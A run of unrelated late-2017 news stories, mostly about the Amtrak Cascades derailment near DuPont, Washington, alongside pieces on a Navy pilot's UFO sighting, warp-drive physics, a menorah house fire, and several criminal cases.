Other finds include a 3,000-year-old royal tomb in the Luxor area and the tomb of an ancient gold worker on Sai Island in northern Sudan.

Egypt recently reopened an ancient library packed with historic manuscripts at St. Catherine's monastery in Sinai. The library had been closed as part of a three-year renovation project, according to media reports.

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A retired U.S. Navy pilot revealed the time in 2004 when he encountered a strange object he claimed was not from this world.

Cmdr. David Fravor, a Navy pilot for 18 years, said he has come across strange things during his tenure but recalled one encounter on Nov. 14, 2004 that left him puzzled, ABC News reported.

"I can tell you, I think it was not from this world," Fravor said. "I'm not crazy, haven't been drinking. It was  after 18 years of flying, I've seen pretty much about everything that I can see in that realm, and this was nothing close."

Fravor said he was on a routine training mission off the coast of California when he witnessed a 40-foot wingless object that he described as a Tic Tac, flying at incredibly high speeds in strange patterns.

I don't know what I saw. I just know it was really impressive, really fast, and I would like to fly it  Navy Cmdr. David Fravor

"I have never seen anything [like this] in my life, in my history of flying, that has the performance, the acceleration [of this vehicle]  keep in mind this thing had no wings," Fravor said.

IS THE PENTAGONS SECRET UFO RESEARCH PROGRAM STILL GOING ON?

The pilot said controllers on a Navy ship reported objects dropping out of the sky from 80,000 feet and going straight back up.

"So we're thinking, OK, this is going to be interesting," Fravor said.

The pilot recalled seeing the object and asking another aviator if he saw the strange aircraft that arrived on the radar.

We look down, we see a white disturbance in the water, like something's under the surface, and the waves are breaking over, but we see next to it, and it's flying around, and it's this little white Tic Tac, and it's moving around  left, right, forward, back, just random," Fravor said.

Fravor said they flew their planes lower to check the object out but it disappeared before they could get a good look.

"When it started to near us, as we started to descend towards it coming up, it was flying in the elongated way, so it's (like) a Tic Tac, with the roundish end going in the forward direction ... I don't know what it is. I don't know what I saw. I just know it was really impressive, really fast, and I would like to fly it," he said.

The pilot said the water also turned blue when it vanished.

PENTAGON SECRETLY SET UP PROGRAM TO INVESTIGATE UFOS AT HARRY REIDS URGING, REPORTS SAY

The aviators decided to return to their training exercise when a controller informed them the object had returned.

At the same time, Fravor said, an aircraft launched from the nearby USS Nimitz had also picked up the strange object on their infrared channel.

"He gets close enough to see a couple of objects come out of the bottom, and then all of a sudden it takes off and goes right off the side of the screen and, like, takes off," Fravor said.

The pilot said the objects speed was stunning and could not explain what he saw that day.

"I don't know if it was alien life, but I will say that in an infinite universe, with multiple galaxies that we know of, that if we're the only planet with life, it's a pretty lonely universe, Fravor said.

The object was not investigated following the appearance.

Fravors experience followed two reports that were published by The New York Times and Politico this weekend. The reports described a secret multimillion-dollar Pentagon program aimed at investigating unidentified aerial phenomena better known as "UFOs." The program began in 2007 and may still be in place.
With the opening of "Star Wars: The Last Jedi" on Dec. 15, more than likely you're going to see at least one ship using hyperspace drive to travel faster than the speed of light. It's a staple of the "Star Wars" universe, dating back to the first movie in 1977, when Han Solo and his trusty band of renegades zipped between stars using the Millennium Falcon.

But is this hyperspace drive really a thing? Can you go faster than the speed of light? Like anything else in physics, the answer is complicated. The bottom line is maybe  but only if we can figure out how to get around some technological obstacles. ["Star Wars" Spaceships: Vehicles from a Galaxy Far, Far Away]

The speed limit

The first problem with a hyperspace drive is anything with mass  a starship, people, Wookiees  cannot go faster than the speed of light without fancy physics (which we'll get into in a moment.) That's a rule from Einstein's Special Theory of Relativity. Simply put, the problem is your Millennium Falcon would acquire an infinite mass when it approaches lightspeed. That would mean you'd need an infinite amount of energy to move it  even more than the amount of energy used to blow up Alderaan. So that's a no-go.

But there's nothing in Einstein's equations that ban you from bending space to go faster than the speed of light. As you probably know, in our ordinary world we live in three dimensions of space and one dimension of time. (Some physicists call this space-time.) The sphere of space itself can  and has  traveled faster than the speed of light. For example, shortly after the Big Bang that formed our universe, space-time itself expanded (or inflated) faster than the speed of light.

The Alcubierre drive is a concept that takes advantage of bending space to make a ship go superfast  even faster than light. There still are a lot of problems with the concept, so it only exists as a mathematical idea. In theory, the drive would cause space-time to contract in front of the starship, and space-time would expand behind it.

In separate interviews with Space.com, physicists Eric Davis (at EarthTech International) and Gerald Cleaver (with Baylor University) independently compared the phenomenon to a surfer on a wave. Imagine that the surfboard is a starship; the surfer is the crew. The surfer is standing (relatively) still on their surfboard while the wave moves toward the shore. In the same way, a starship would stay still in space-time while space-time warps around it. [Warp Speed? The Hype of Hyperspace]

Alcubierre drive limitations

But there are a lot of problems that physicists need to figure out before we can use the Millennium Falcon to escape Kylo Ren. Cleaver has looked into some of these problems in collaboration with Richard Obousy (who was then his graduate student and now works with Icarus Interstellar) and Jeff Lee (who is also at Baylor.)

The problem begins with putting the Falcon into ignition. "The amount of energy to start the process would have to be on part with the total mass-energy of the planet Jupiter," Cleaver said in an interview. "There have been proposals for alternatives, however, and if you can get that process going that is a technological issue." (Davis said the mass requirements range from the mass of the galaxy to the mass of the sun, but the principle still holds  it's a lot of energy.)

But say you can overcome that and start your space-warping. The next problem is keeping the energy going. As the Alcubierre drive approaches the speed of light, photons from the cosmic microwave background  that's the leftover radiation from the start of our universe  will be absorbed into the starship. That's bad news for both the spaceship and the occupants on board.

"Those [photons] will get radically blueshifted in the direction of motion towards the destination star," Davis said in an interview, meaning that the ship will travel so fast that the photons will be compressed and their frequency will increase. "Then they will become super-intense radiation and kill everyone aboard the starship."

Meanwhile, the ship itself will start to stall due to a problem with space-time.

"There will be a continual energy loss  due to the energy converted into the blueshift of photons," Cleaver said. "There has to be an energy source on board the ship  to balance things, so that whatever energy is used for blueshifting has to be provided towards the front." So under that model, you'd need an extraordinary amount of energy to continue  an amount that Cleaver doesn't think is technically feasible to produce.

A new hope?

Davis and Cleaver are collaborators, and Davis recently gave a presentation that dealt with variations of the Alcubierre drive while visiting Baylor. He mentioned some recent reading of his  looking at a 2002 paper from C.B. Hart et al on the prepublishing site Arxiv, which often publishes papers during or before peer review. It's called "On the Problems of Hazardous Matter and Radiation at Faster than Light Speeds in the Warp Drive Space-Time." (Cleaver was not aware of the paper until recently and could not comment on it for this story.) [40 Surprising "Star Wars" Facts You Should Know]

Hart uses work from his own team, and summarizes several other physicists, to point out other problems with Alcubierre drives. One is the deadly potential for a ship  even the Millennium Falcon  if it smashes into an asteroid or some other object at near light-speed. Without some sort of shield, careening around space escaping the dark side of the Force would be a bad idea.

Also, the radiation surrounding the Alcubierre drive wouldn't allow the spaceship to communicate to anyone outside the bubble  so forget telling your family that you'll be back on-planet for dinner. Worse, the physics of the situation doesn't even allow you to steer space-time to control where you're going.

But there are ways to modify the equations to get around some of these issues, according to Hart and some of the other authors cited in Hart's paper.

Hart cites physicist Chris Van Den Broeck (with the National Institute for Subatomic Physics in the Netherlands), who did a modification of Alcubierre's warp drive. In an interview, Davis said the math is too complicated to explain to a non-mathematician. But essentially, Van Den Broeck multiples a mathematical function by a part of the space-time metric that creates the warp drive. Result? It lowers the amount of energy required to make Alcubierre work. (In the case Van Den Broeck used, it lowered the energy from the mass of the galaxy to the mass of the sun. Still a big barrier, but certainly an improvement!)

Hart's group then did some more mathematical work and essentially made an Alcubierre warp drive with a bubble surrounding the bubble, according to Davis. Or in other words, a sort of a shield for the occupants inside.

"The effect of the interior warp bubble is to cure the problems of the exterior warp bubble. You don't have the dangerous radiation, or the problem with the starship not being able to communicate with the outside universe," he said. "It also drastically reduces the amount of negative energy to produce the warp drive."

Davis cited several variations of how the bubble's shielding would work, but the end result is usually the same  as long as you can get the Alcubierre drive working, the shield might be able to protect it. Although, of course, more research is needed.

Tesseracting and EmDrive

If Alcubierre doesn't work, there are at least a couple of other ways you might be able to get the Millennium Falcon moving through space quickly and effectively.

The first is a wormhole , which is a theoretical connection between two points in space. (Some researchers say this could happen through a black hole, but nobody has observed this yet.) A classic example of how a wormhole works is explained in the Madeleine L'Engle book "A Wrinkle in Time" (1962), which will be retold in film in 2018.

In the book, the girl Meg learns about a concept called a "tesseract," which the book also refers to as a "wrinkle in time." Meg is asked to picture an ant marching along a sheet of paper. The sheet of paper represents time. You can shorten the ant's path simply by folding the paper  folding space-time itself.

"If we have humans doing this, it's difficult to wrap our minds around how this works. We have intuition for a 3-D world and can't imagine a 4-D," acknowledged Patrick Johnson, a physics researcher at Georgetown University and author of the 2017 book "The Physics of Star Wars."

The problem is, he added, that a wormhole bends space-time, which generates a lot of energy. In the movie "Interstellar" (2014), the ship entered a wormhole near Saturn. "If a wormhole was that close to Saturn, that would tear Saturn to shreds," Johnson said, adding that the amount of energy required is "monstrously huge."

Another option is the EmDrive , a concept tested by NASA researchers and others that could make traveling through space much faster. We won't go too deep into the physics on this drive, but it essentially bounces microwaves around in a chamber and appears (somehow) to create thrust . Many researchers say this violates the laws of physics, although EmDrive has been tested by several groups and is the subject of at least one peer-reviewed paper. NASA EmDrive researcher Harold "Sonny" White's schedule did not allow for an interview before the deadline for this story had passed.

But whether or not hyperspace is possible in real life, it certainly is a lot of fun to play with in science fiction. "Star Wars," of course, is not alone in imagining traveling faster than the speed of light . Variants of warp speed are a staple of franchises such as "Star Wars," "Battlestar Galactica," "Farscape" and, of course, "Doctor Who," with its famous TARDIS (Time and Relative Dimension in Space).

Follow us @Spacedotcom , Facebook and Google+ . Original article on Space.com .
Alaska Airlines announced in a tweet earlier today that it will be lowering ticket prices from flights between Seattle and Portland on both Monday and Tuesday.

The decision to cut fares was made in response to the tragic Monday morning Amtrak train derailment that claimed at least three lives.

AMTRAK CRASH: TRAVELERS PROMISED 'SHORTER TRIP TIMES AND MORE RELIABLE SCHEDULES'

The Seattle-to-Portland flights originally cost $214, but the airliner is cutting it to $99.

In a tweet, Alaska Airlines assured its customers that the price would be honored  despite a hiccup on the website that doesnt reflect the newly reduced fare.

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Delta airlines also has lessened the burden of those traveling to or from Seattle on Monday and Tuesday, by allowing customers to make a one-time change to a ticket without a fee, the Seattle Times reported. Changed tickets must be reissued on or before the coming Friday.
Baggage claim is for many one of the most nerve-wracking parts of the airport experience, so one man recently took matters into his own hands  and feet: He went searching for his luggage inside the carousel himself.

On Dec. 18, British Airways passengers en route from London's Heathrow Airport to Aberdeen, a port city in northeast Scotland, waited over an hour and 15 minutes to reclaim their bags, according to the Evening Express.

An anonymous witness told the outlet the situation became very heated after the plane landed at 10:30 p.m. and no direction was given as to when or how the 100-plus travelers could retrieve their belongings.

ALASKA AIRLINES SLASHES TICKET PRICES AFTER AMTRAK DERAILMENT

Passengers were getting more frustrated as time went on. At 11:25pm, one man tried to crawl through the door in the carousel conveyor to get his bags, the passenger said, adding that airport management soon arrived on the scene with two police officers.

Eventually, an announcement was made that due to operational issues bags were delayed, he said.

DANCING GIRLS MIMIC SOUTHWEST EMPLOYEE'S MOVES IN ADORABLE VIDEO

Passengers were told that the plane was understaffed to clear all the bags out of the aircraft and that management could not provide any estimate of when the bags would be returned.

The impatient passenger had to return to the Aberdeen airport the next day for his bags.

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British Airways later apologized for the incident, and handling agent Swissport cited poor weather as the cause of the impasse, according to the Evening Express.

We do apologize for the inconvenience and will continue to take every effort to avoid such situations in the future, Swissport said.

This is the second time in recent weeks that a rogue baggage-claim explorer has made headlines. In early November, a man snuck onto the carousel and escaped past security onto the tarmac at Miami International Airport.
An inaugural ride on a new line meant to speed train service in Washington state turned deadly Monday after an Amtrak train carrying more than 80 people derailed outside of Tacoma  causing several train cars to tumble from a highway overpass and killing at least three people, officials said.

More than 70 people were taken to nearby hospitals, officials said. At least two people are in critical condition, while 11 other people are seriously injured, hospital officials told The Associated Press. At least one person was taken into surgery.

Washington State Patrol Public Information Officer Brooke Bova told reporters Monday evening that three people have been confirmed dead. The Associated Press initially reported six people were dead, citing a U.S. official.

Washington Gov. Jay Inslee declared a state of emergency after Amtrak train 501 derailed around 7:30 a.m. along Interstate 5 as it was leaving the new Tacoma station. A U.S. official told The Associated Press the death toll is expected to rise and track obstruction is being investigated as a possible cause of the derailment.

The train was traveling southbound from Seattle when it derailed. Washington State Trooper Brooke Bova said 12 train cars and two engines jumped the tracks. Thirteen total cars were derailed.

President Trump tweeted Monday afternoon: "The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!"

"My thoughts and prayers are with everyone involved in the train accident in DuPont, Washington. Thank you to all of our wonderful First Responders who are on the scene. We are currently monitoring here at the White House," Trump said in a follow-up tweet.

Police previously said several cars were struck by the Amtrak train cars, injuring multiple drivers on the highway. No motorists deaths were reported, according to Pierce County officials.

Amtrak said 77 passengers and seven crew members were on board the train, part of its "Cascades" service from Seattle to Portland, Ore. It received reports of passengers and crew members injured that were taken to the hospital. Service for two Amtrak Cascades trains were canceled.

A highway camera showed at least one train car toppled onto the road, causing a traffic jam. Photos tweeted by Public Information Officer Bova showed one detached and smashed on the ground. Another car was dangling from the overpass.

Chris Karnes, who was on the train  three or four cars back from the front  told The Associated Press: "I'm not sure what got hit. I'm not sure what happened."

Bova told Fox News' "Happening Now" that people are advised to avoid Interstate 5 and that clearing the area will be an all day process.

Kaines, the chair of Pierce Transit's advisory board, said on Twitter, "The train has derailed. Emergency crews are on the scene. Massive damage. People are hurt." He said the train appeared to have hit a truck, adding that the car was "destroyed."

The train was going 81.1 mph moments before the derailment, according to transitdocs.com, a website that maps Amtrak train locations and speeds using data from the railroad's train tracker app.

The maximum speed along the stretch of track, known as Point Defiance Bypass, is 79 mph, according to information about the project posted online by the Washington State Department of Transportation.

Wendy Simmons told Q13 Fox she arrived shortly after the derailment as people were helping the injured.

First responders actually climbed up into the dangling cars to get people out, Simmons said. "People were pulling first aid kits out of their cars  putting jackets on people."

The National Transportation Safety Board said a "go-team" is departing from Washington, D.C., to investigate Monday's derailment. The Federal Railroad Administration also tweeted it has investigators en route to the scene.

FBI officials in Seattle are also on scene for additional support, as officials told Fox News that local law enforcement are the "primary responding entities."

The Washington State Department of Transportation said that drivers should expect long delays and avoid the area. Southbound Interstate 5 near DuPont was closed shortly after the derailment after traffic backed up for miles.

Amtrak President and co-CEO Richard Anderson said that Amtrak employees "are deeply saddened by all that has happened today. We will do everything in our power to support our passengers and crew and their families."

Washington Sen. Patty Murray tweeted she was "heartbroken by the news."

Monday was the first day of schedule changes to include two new round trips between Seattle and Portland, according to the Amtrak website. Amtrak train 501 is part of the new route running between Portland and Seattle daily. The Washington Department of Transportation spent $180.7 million project on passenger train improvement project, which sped up service by removing passenger trains from a route along Puget Sound that's bogged down by curves, single-track tunnels and freight traffic.

Monday's accident came just two weeks after Lakewood mayor Don Anderson made a chilling comment saying it was only a matter of time a deadly derailment will occur, according to KOMO News.

He advocated for grade separations to protect people from trains.

"Come back when there is that accident, and try to justify not putting in those safety enhancements, or you can go back now and advocate for the money to do it, because this project was never needed and endangers our citizens, Anderson said at the time.

The southbound lanes of Interstate 5, which see about 60,000 vehicles per day, are expected to be closed for "an extended period," according to the WSDOT.

The derailment was Amtrak's 26th within the U.S. since 2014, and the fourth in the state of Washington since 2014.

Fox News' Nicole Darrah and Shira Bush and The Associated Press contributed to this report.
An Amtrak train that derailed Monday during its inaugural ride on a new line in Washington state was traveling at 80 mph in a 30 mph zone, the National Transportation Safety Board said, citing data recorder information.

Bella Dinh-Zarr, an NTSB board member, said at a news conference late Monday that information from the data recorder in the rear locomotive provided information about the trains speed.

At least three people were killed in the derailment, and more than 70 others were taken to a hospital for medical treatment, police said.

Dinh-Zarr said it was not yet known what caused the train to derail and that it was "too early to tell" why the train was going so fast.

Transportation Department spokeswoman Barbara LaBoe said earlier Monday the curve where the train was crossing has a speed limit of 30 mph, the Seattle Times reported.

Engineers are trained to slow trains according to posted speeds, LaBoe said.

Additionally, Amtrak President Richard Anderson told reporters in a conference call that Positive Train Control  the technology that can slow or stop a speeding train  wasnt in use on the stretch of track where the derailment unfolded.

The FBI said in a statement that there was no information to suggest a nexus to terrorism or any elevated risk to Washington residents. The agency was assisting the NTSB in its investigation.

Silence, then screaming

Meanwhile, more passengers described what happened.

Emma Shafer said she found herself at a 45-degree angle staring at the seats in front of her that had dislodged and swung around.

"It felt oddly silent after the actual crashing," Shafer said. "Then there was people screaming because their leg was messed up. ... I don't know if I actually heard the sirens, but they were there. A guy was like, 'Hey, I'm Robert. We'll get you out of here.'"

Aleksander Kristiansen, a 24-year-old exchange student at the University of Washington from Copenhagen, was going to Portland to visit the city for the day.

"I was just coming out of the bathroom when the accident happened. My car just started shaking really, really badly," he said.

The back of his train car was wide open because it had separated from the rest of the train, so he and others were able to jump out to safety.

Chart shows speed limits

A track chart prepared by the Washington State Department of Transportation shows the maximum speed drops from 79 mph to 30 mph for passenger trains just before the tracks curve to cross Interstate 5, which is where the train went off the tracks.

The chart, dated Feb. 7, was submitted to the Federal Railroad Administration in anticipation of the start of passenger service along a new bypass route that shaves off 10 minutes for the trip between Seattle and Portland, Ore.

Kimberly Reason with Sound Transit, the Seattle-area transit agency that owns the tracks, said speed signs are posted 2 miles before the speed zone changes and just before the speed zone approaching the curve.

Amtrak train 501 heading southbound derailed around 7:30 a.m. local time after it left the new Tacoma station.

Photos from the scene showed at least one train car completely detached and fallen onto Interstate 5 below, while another dangled in the air. Drivers on the highway were injured, but none were killed, police said.

Fox News Nicole Darrah, Travis Fedschun and Katherine Lam and the Associated Press contributed to this report.
A fire that roared through a Brooklyn home on the sixth night of Hanukkah, killing a mother and her three young children, was touched off by the family's menorah, fire officials said.

The fire department late Monday released a statement saying fire marshals determined the blaze to be accidental, caused by an "unattended lit menorah."

Neighbors said the family kept the menorah in a living room window throughout the eight-day holiday, also known as the Jewish Festival of Lights.

"So often, tragedy strikes at this time of year, and the holidays make it that much more difficult because our communities should be celebrating, not mourning," fire department Commissioner Daniel Nigro said.

Firefighters said unattended candles, overloaded outlets and power strips "and many of the holiday traditions we all hold dear" often cause fires.

Aliza Azan was found dead on the second floor of the single-family home near the children who perished: 11-year-old Moshe, 7-year-old Yitzah and 3-year-old Henrietta. The children's father and two teenagers were hospitalized in critical condition.

In all, nine people were in the house: the couple, their six children and a cousin. The other two people made it out alive.

The fire was reported around 2:30 a.m. in Brooklyn's Sheepshead Bay neighborhood.

A longtime family friend and neighbor, Morris Levy, said the family had recently moved into the house. He said Azan's father was a rabbi.

"A very nice lady," he told The New York Times . "Such a beautiful family."

Nigro said the children's father saved two of his older children from the fire and was seriously burned trying to get back inside the burning house.

"We believe that he acted very courageously and tried desperately," Nigro said, according to the New York Post . "Hopefully it didn't cost his life also, but it may."

Firefighters arrived within 2 1/2 minutes of the first 911 call, but Nigro said the flames were already "consuming" all three floors of the building. He said that firefighters were met with flames at the front door but "pushed in very aggressively" because they knew people were inside.

Mayor Bill de Blasio urged people to be cautious with decorations, electric lights, candles and space heaters during the winter months and the holidays.

"As a parent, it's impossible for me to imagine what this family is going through right now," said de Blasio, a Democrat.
Deputies in Pinellas County say an attorney was caught with his pants down while planning to record himself having sex with an inmate as part of a project to make a video called Girls in Jail.

According to the sheriffs office, detectives received a tip last month that Andrew Spark was paying female inmates for sexual acts at the Pinellas County Jail in Clearwater. They say Shauna Boselli, a 25-year-old inmate, claimed Spark visited her in jail, even though he is not her attorney.

She says Spark offered to put money in her commissary account in exchange for oral sex, and bragged about meeting another inmate earlier that day.

FLORIDA WOMAN CALLS 911, CONFESSES TO MURDERING WIFE

Boselli declined the alleged offer, but detectives later confirmed that Spark met privately with 28-year-old inmate Antoinette Napolitano that same day. After investigating, deputies say the two actually had sex inside the Pinellas County Jail at least six times between June 2017 and December 2017.

Sheriff Bob Gualtieri said Monday that Spark would begin his interview by filming Napolitano in her jail uniform and ask her to narrate sexual fantasies before filming her performing sexual acts.

When they got word that Spark was scheduled to arrive at the Pinellas County Jail to meet with Napolitano on Sunday, detectives say they entered the attorney visitation room and caught him with Napolitano just as the two were about to begin a sexual act. Spark's penis was "fully exposed" when detectives entered the room, the sheriff noted.

Spark was charged with exposure of sexual organs, introduction/possession of contraband into a county detention facility, and soliciting for prostitution. Deputies say Spark did not speak to detectives and requested an attorney.

Read more from Fox 13 Tampa.
An Iraqi refugee who investigators say wanted to set off bombs at two Houston malls was sentenced Monday to 16 years in prison for trying to help the Islamic State terror network.

Omar Faraj Saeed Al Hardan was sentenced in Houston federal court. He pleaded guilty in October 2016 to attempting to provide material support or resources to a designated foreign terrorist organization.

At the time of his plea, Al Hardan admitted to providing material support, specifically himself, to ISIS.

An FBI agent testified in January 2016 that Al Hardan told an FBI informant he wanted to plant bombs at two Houston malls and blow them up remotely with cell phones.

Any person who provides material support to a foreign terrorist organization will be investigated and prosecuted to the fullest extent of the law, said Acting U.S. Attorney Abe Martinez said in a statement. Al Hardans actions were treacherous and completely antithetical to the freedoms we as U.S. citizens value. The sentence imposed today reflects the Department of Justices resolve to seek out and punish all violators who would give aid and comfort to international terrorists.

The 25-year-old came to Houston from Iraq in 2009. He was arrested in January 2016. Prior to entering the U.S., Al Harden was in two refugee camps in Jordan and Iraq. After he was admitted to the country under refugee status, he was granted legal permanent residence in 2011.

Authorities say Al Hardan was learning to make electronic transmitters that could be used to detonate explosives. Investigators discovered training CDs on how to build remote detonators, circuitry, assorted tools, multiple inactivated cell phones and a prayer list for committing jihad, as well as the black standard flag used by ISIS.

Prosecutors alleged Al Hardan was coordinating with another Iraqi refugee in California. They said the two men talked about getting weapons training and eventually going to Syria to fight alongside the Islamic State.

U.S. District Judge Lynn Hughes, who accepted the guilty plea, handed Al Hardan a 192-month sentence. He will also be on supervised release for the rest of his life.

The Associated Press contributed to this report.
Minnesota police shot and wounded an armed man inside of an interview room in Minneapolis City Hall Monday night, sparking an investigation.

The man, who was being interviewed by the Minneapolis Police Department, started hurting himself with an edged weapon, Fox 9 reported. Officers tried to subdue the adult male subject but ultimately had to discharge their weapons, Police Chief Medaria Arradondo said.

The interview room where the incident unfolded is reported to be the location of the departments investigation units.

Minneapolis Police said the incident has been contained and noted theres no threat to the public. Several officers involved in the incident have been put on paid administrative leave.

Paramedics reportedly took the man to Hennepin County Medical Center in Minneapolis. His condition is unclear.

The state's Bureau of Criminal Apprehension is investigating the incident. Arrandondo said police obtained video of what transpired.

Click for more from Fox 9.

The Associated Press contributed to this report.
An Amtrak train that derailed Monday in Washington state  killing at least three people and injuring more than 100  was not using a Congress-mandated safety technology that possibly could have prevented the disaster.

Amtrak President Richard Anderson confirmed that the technology, called Positive Train Control (PTC), was not in use on the stretch of track in Washington state where a deadly derailment occurred.

The system is designed to automatically stop a train before an accident occurs. It uses GPS tracking to monitor train locations, activate brakes if a train exceeds a speed limit, and ensure no collision with other trains.

Investigators will now look into the safety system to determine whether it could have made a difference Monday.

Transportation Department spokeswoman Barbara LaBoe said the curve where the train was crossing has a speed limit of 30 mph, the Seattle Times reported. Engineers are trained to slow trains according to posted speeds, LaBoe said.

In 2008, Congress legislated a deadline for Amtrak and other rail companies and agencies to install PTC by the end of 2015. But due to the price tag  reportedly more than $22 billion over 20 years  the implementation of the system has been delayed.

But urgent calls to install the system returned after a 2015 Amtrak derailment near Philadelphia that killed eight people and injured more than 200.

An investigation found that the trains engineer became distracted and the Amtrak train was running 102 mph in a 50 mph zone. It also said the PTC system could have prevented the disaster.

A new deadline for the rollout of the safety system was set at 2018  or even later for some railway segments.

But the implementation is still lagging behind. According to the Federal Railroad Administration, as of year-end 2016, the technology was activated on just 16 percent of tracks for freight railroads and just 24 percent of tracks for passenger railroads. This is despite that 41 percent of passenger railroad locomotives are equipped with the system.

We continue to closely monitor railroads progress implementing Positive Train Control, said Patrick Warren, FRA executive director. With less than two years remaining to complete the implementation process, it is imperative that railroads continue to meet implementation milestones.
An Amtrak train collided with a semi truck in Texas on Monday night, just hours after a deadly Amtrak derailment in Washington state.

Union Pacific Railroad, which owns the Texas tracks, said the crash happened in San Marcos, Texas, around 8 p.m. local time, Fox 7 Austin reported.

None of the 150 passengers and crew on board were harmed, Amtrak spokesman Jeff DeGraff told KXAN. No information on the truck's occupants was immediately available.

The back end of the semi was destroyed and the truck was later towed from the scene, DeGraff said. The tracks were then inspected and approved for use.

The train, which was traveling to San Antonio from Chicago, resumed its journey by 9:25 p.m.

Earlier Monday, an Amtrak train carrying 70 passengers between Seattle and Portland derailed near Tacoma, killing at least three passengers.
A transit employee, a man described as a rail advocate," and a 40-year-old Washington man were identified as the three people killed when an Amtrak train in Washington state derailed during its inaugural ride on a new route Monday, leaving more than 70 people injured as investigators search for clues on why the celebratory trip turned deadly.

Zack Willhoite, a Pierce Transit employee, and Jim Hamre, a member of the Rail Passengers Association, were killed Monday when Amtrak train 501, carrying 85 passengers and crew members, derailed off an overpass and onto Interstate 5 just around 7:40 a.m. after pulling out of the new Tacoma station, the organization announced.

Hamre and Willhoite were both part of the Rail Passengers Association and were described as advocates of transit and passenger rail for decades.

"Jim was among the country's most-respected and effective rail advocates and a good friend and mentor to me. I will miss his counsel, and our community is poorer for his loss," Rail Passengers Association President Jim Mathews said in a statement. Both Jim and Zack have been advocates of transit and passenger rail for decades, and we cant thank them enough for their work. Our thoughts are with their families at this time, as they work through this tragedy.

Chris Karnes, chair of Pierce Transits Advisory Board, called Willhoite a rail aficionado. The organization said Willhoite served as the director of information technology for All Aboard Washington.

It's heartbreaking to hear that @PierceTransit employee and rail aficionado Zack Willhoite did not survive the derailment, Karnes wrote. He helped our advisory committee with IT issues, and behind the scenes he was a writer and advocate for better transit for all. He will be missed.

Willhoite was an IT customer service support specialist and had been working with Pierce Transit since 2008, the agency said in a statement.

"The entire Pierce Transit team was deeply saddened to learn that one of our employees was a victim of the Dec. 18 Amtrak train accident," the statement read. "He has always been deeply appreciated and admired by his colleagues, and played an important role at our agency. He will be sincerely missed. Our thoughts are with Zacks family, as well as the families of the other victims, during this very difficult time.

Hamre also served as the vice president of All Aboard Washington. He worked at the Washington State Department of Transportation and had been involved with transportation advocacy in the early 1980s, according to Rail Passengers Association.

Benjamin Gran, of Auburn, was identified as the derailment's third victim Wednesday. Authorities said he died of multiple traumatic injuries in the accident.

The National Transportation Safety Board announced Monday night that the Amtrak train was going 80 mph in a 30 mph zone when it derailed along a curve, causing railcars to fall onto the highway and smash into vehicles below. A total of 13 train cars jumped the tracks. Authorities began removing the train cars Tuesday morning. They announced the removal can take days and advised commuters to plan ahead as Interstate 5 remains closed.

More than 70 people were taken to the hospital, 10 of them with serious injuries. The engineer, whose name was not released, was bleeding from the head after the wreck and both eyes were swollen shut, according to the dispatch audio.

LOCAL WASHINGTON MAYOR FEARED DEADLY ACCIDENTS WEEKS BEFORE AMTRAK DERAILMENT

Train passenger Emma Shafer found herself at a 45-degree angle, staring at the seats in front of her that had come loose and swung around.

"It felt oddly silent after the actual crashing," she said. "Then there was people screaming because their leg was messed up...I don't know if I actually heard the sirens, but they were there. A guy was like, 'Hey, I'm Robert. We'll get you out of here.'"

NTSB member Bella Dinh-Zarr said a team of investigators will be interviewing the engineer and any possible witnesses to find out what exactly happened during the ride.

We ask [people] to remember everything they can out thereHuman memory starts fading. We just want to know exactly what happened and what did, Dinh-Zarr said. We will also on our own will look at training records, ops manuals to see what policies are in place for this type of run.

TRUMP: AMTRAK DERAILMENT SHOWS NEED FOR INFRASTRUCTURE PLAN

Monday was the first day the train was operating on a new bypass route between Seattle and Portland that was created by refurbishing freight tracks along the major interstate. The $180.7 million project was aimed at speeding up service by bypassing an old route that had a number of curves, single-track tunnels and freight traffic.

But just two weeks before the crash, Lakewood Mayor Don Anderson voiced his concerns about the new route, saying pedestrians and cars were too close to the trains.

Its virtually inevitable that someone is going to get killed that wouldnt be killed otherwise," Anderson said. "This is unacceptable."

Fox News' Shira Bush and The Associated Press contributed to this report.
A Las Vegas man was convicted Monday of sexual assault of a minor after prosecutors said he maintained a sexual relationship with a teen that lasted for years.

Joshua Honea, 24, faced more than 50 counts, including kidnapping, but was ultimately found guilty on one charge, the Las Vegas Review-Journal reported. He could face up to life in prison if given the maximum sentence at his hearing next year.

Honea was accused in 2015 of maintaining a four-year sexual relationship with a girl that started when she was 11 years old.

The girl, now 18, recanted her statement on the witness stand and remains unnamed because the alleged relationship took place when she was a minor.

The Review-Journal writes that prior to his arrest, Honea was in a police program for young adults interested in pursuing a career in law enforcement. It was during this time that that his colleagues allegedly reopened an investigation into rumors that Honea was involved with a young girl because they believed him to be a whistleblower on the conduct of police officers, the newspaper reported.

Jonathan MacArthur, Honeas defense attorney, said his client was targeted at the Metropolitan Police Department after he had reported police misconduct.

Honea is due back in court for sentencing on April 16.
Erika Crooks remembers the day well. On Memorial Day weekend four years ago, she, her husband and their one-and-a-half-year-old daughter went to a local Target near their home in Elk Grove, Calif., to purchase barbecuing supplies. When they returned, their home was engulfed in flames.

It was like an out-of-body experience, Crooks, 33, told Fox News. You see fires on TV and are desensitized to them. But you never know when it's going to be your home.

It was a last-minute decision that saved Crooks and her family from the flames; she and her husband decided to make the trip to Target a family outing, opposed to one of them staying home with their young daughter, she said.

It was like an out-of-body experience."  Erika Crooks

Crooks family, who had only been living in the house for five months, watched their home burn for roughly seven hours before the fire was contained. The fire marshal on duty that day told Crooks that it was an exterior fire, most likely sparked by something flammable thrown into a trashcan near their home.

I was shocked, frightened and saddened, she said. I wanted to run in and grab pictures and my daughters favorite blanket -- material things that you take for granted.

Crooks family lost a lot that day. But thanks to a $100 gift card from the California Fire Foundations SAVE program, they were able to buy food and pajamas for their daughter that night.

The foundation works with local fire agencies to provide immediate, on-site assistance to families that have suffered a residential loss of at least 25 percent, according to its website.

It also provided assistance to those who were impacted by the wildfires in Southern California, which scorched hundreds of thousands of acres, destroyed more than 1,000 structures and forced more than 200,000 people to evacuate at the height of the fires.

The foundation gave roughly 500 gift cards to Southern Californians who were affected by the wildfires, Lou Paulson, chairman of the California Fire Foundation, told Fox News.



Here's how the wildfire victims have been helped so far.

President Trump approves California's disaster declaration

On Jan. 2, President Trump declared that a "major disaster exists in the state of California." He also ordered federal assistance to supplement state and local recovery efforts in the areas affected by wildfires, mainly in Santa Barbara and Ventura counties where the Thomas Fire has hit the hardest.

